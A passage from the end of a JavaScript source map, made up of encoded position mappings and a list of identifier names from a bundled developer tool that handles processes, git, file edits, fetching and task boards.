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",
|
|
6
|
-
"names": ["open", "isWin", "path", "spawn", "pending", "exitCode", "resolve", "fsp", "path", "stat", "probe", "ts", "createHash", "fs", "path", "basename", "candidate", "detectPackageManager", "stat", "relative", "path", "ts", "fs", "path", "isInside", "relative", "fs", "path", "timedOut", "cancelled", "emptySummary", "stat", "relative", "unavailable", "LANGUAGE_IDS", "operationOptions", "LANGUAGE_IDS", "fs", "path", "path", "init_languages", "pos", "line", "init_languages", "parseSymbols", "spawn", "os", "path", "fs", "resolve", "stdout", "code", "init_languages", "parseGeneric", "parseSymbols", "parseSymbols", "spawn", "fs", "os", "path", "parseGeneric", "resolve", "init_languages", "parseSymbols", "expectDefined", "spawn", "fs", "path", "resolve", "stdout", "lineOffsets", "init_languages", "parseSymbols", "expectDefined", "path", "regexParse", "basename", "lineOffsets", "init_languages", "parseSymbols", "expectDefined", "regexParse", "lineOffsets", "makeSymbol", "init_languages", "json", "spawn", "os", "emitProcessCompleted", "emitProcessOutput", "emitProcessStarted", "buildChildEnv", "os", "fs", "os", "wstackGlobalRoot", "path", "hostname", "isWin", "platform", "DEFAULT_TIMEOUT_MS", "isWin", "shell", "buildChildEnv", "child", "spawn", "pid", "stdoutBytes", "stderrBytes", "telemetryCompleted", "emitProcessStarted", "emitProcessCompleted", "pending", "timeoutMs", "resolve", "emitProcessOutput", "path", "fs", "path", "ulid", "createHash", "fs", "path", "stat", "createHash", "resolve", "net", "hostname", "lookup", "request", "resolve", "ulid", "relative", "stat", "request", "resolve", "spawn", "fs", "net", "fileURLToPath", "createHash", "fs", "os", "path", "expectDefined", "fs", "path", "toErrorMessage", "toErrorMessage", "delay", "fs", "path", "path", "resolveWstackPaths", "owner", "cache", "DB_FILE", "expectDefined", "ts", "stat", "createHash", "fileURLToPath", "resolve", "spawn", "fs", "fileURLToPath", "expectDefined", "execFile", "fs", "path", "fs", "path", "init_languages", "parseSymbols", "resolve", "execFile", "relative", "assignRefsToSymbols", "owner", "stat", "expectDefined", "assignRefsToSymbols", "fileURLToPath", "resolve", "chain", "init_languages", "fs", "path", "relative", "fs", "path", "probe", "menu", "spawn", "statSync", "fs", "path", "buildChildEnv", "stat", "resolve", "fs", "stat", "readdir", "path", "detectPackageManager", "fs", "atomicWrite", "line", "path", "tsLoad", "loadTypescript", "ts", "stat", "atomicWrite", "spawn", "emitProcessCompleted", "emitProcessOutput", "emitProcessStarted", "toErrorMessage", "os", "path", "isWin", "isWin", "MAX_OUTPUT", "DEFAULT_TIMEOUT_MS", "blocked", "resolve", "isWin", "pid", "signal", "emitProcessCompleted", "spawn", "buildChildEnv", "emitProcessStarted", "toErrorMessage", "emitProcessOutput", "FetchError", "ToolValidationError", "dns", "net", "isPrivateIPv4", "isPrivateIPv6", "ToolValidationError", "hostname", "ToolValidationError", "FetchError", "stat", "spawn", "statSync", "dirname", "resolve", "sep", "buildChildEnv", "TIMEOUT_MS", "MAX_OUTPUT", "findGitDir", "runGit", "stat", "fs", "path", "compileGlob", "DEFAULT_WALK_IGNORE_DIRS", "worker", "DEFAULT_IGNORE", "DEFAULT_WALK_IGNORE_DIRS", "compileGlob", "expectDefined", "spawn", "fs", "path", "ToolValidationError", "buildChildEnv", "compileGlob", "DEFAULT_WALK_IGNORE_DIRS", "DEFAULT_IGNORE", "DEFAULT_WALK_IGNORE_DIRS", "ToolValidationError", "resolve", "spawn", "buildChildEnv", "expectDefined", "compileGlob", "stat", "join", "pkgList", "fs", "formatted", "path", "deserializeTaskGraph", "loadTasks", "createBoard", "getBoard", "listBoards", "removeBoard", "syncBoardFromTaskGraph", "updateBoard", "updateTask", "verifyTaskCompletion", "resolveWstackPaths", "getBoard", "touchKanbanPresence", "board", "getBoard", "pending", "listBoards", "createBoard", "updateBoard", "removeBoard", "taskInput", "getBoard", "deserializeTaskGraph", "result", "syncBoardFromTaskGraph", "loadTasks", "updateTask", "verifyTaskCompletion", "stat", "spawn", "buildChildEnv", "resolve", "spawn", "buildChildEnv", "path", "createReadStream", "spawn", "buildChildEnv", "detectNonJsEcosystem", "planLanguageOperation", "executePackagePlan", "resolve", "json", "spawn", "fs", "os", "path", "buildChildEnv", "stat", "resolve", "mutatePlan", "mutateTasks", "randomUUID", "mutatePlan", "mutateTasks", "randomUUID", "open", "fs", "ToolValidationError", "toErrorMessage", "MAX_BYTES", "ToolValidationError", "stat", "toErrorMessage", "symResult", "expectDefined", "spawn", "fs", "path", "atomicWrite", "buildChildEnv", "compileGlob", "detectNewlineStyle", "normalizeToLf", "toStyle", "unifiedDiff", "ToolValidationError", "DEFAULT_IGNORE", "ToolValidationError", "compileGlob", "resolveFiles", "lstat", "stat", "detectNewlineStyle", "normalizeToLf", "expectDefined", "toStyle", "atomicWrite", "unifiedDiff", "resolve", "spawn", "buildChildEnv", "fs", "path", "atomicWrite", "FetchError", "ToolValidationError", "expectDefined", "toErrorMessage", "TIMEOUT_MS", "ToolValidationError", "TIMEOUT_MS", "toErrorMessage", "expectDefined", "FetchError", "fs", "toErrorMessage", "formatTaskList", "mutateTasks", "addPlanItem", "mutatePlan", "formatPlan", "randomUUID", "mutateTasks", "randomUUID", "ts", "mutatePlan", "addPlanItem", "formatPlan", "formatTaskList", "path", "buildArgs", "stat", "loadPlan", "loadTasks", "setPlanItemStatus", "loadPlan", "setPlanItemStatus", "loadTasks", "DEFAULT_WALK_IGNORE_DIRS", "expectDefined", "fs", "path", "DEFAULT_IGNORE", "path", "stat", "fs", "ToolValidationError", "atomicWrite", "unifiedDiff", "writeFile", "ToolValidationError", "stat", "atomicWrite", "unifiedDiff"]
|
|
7
|
-
}
|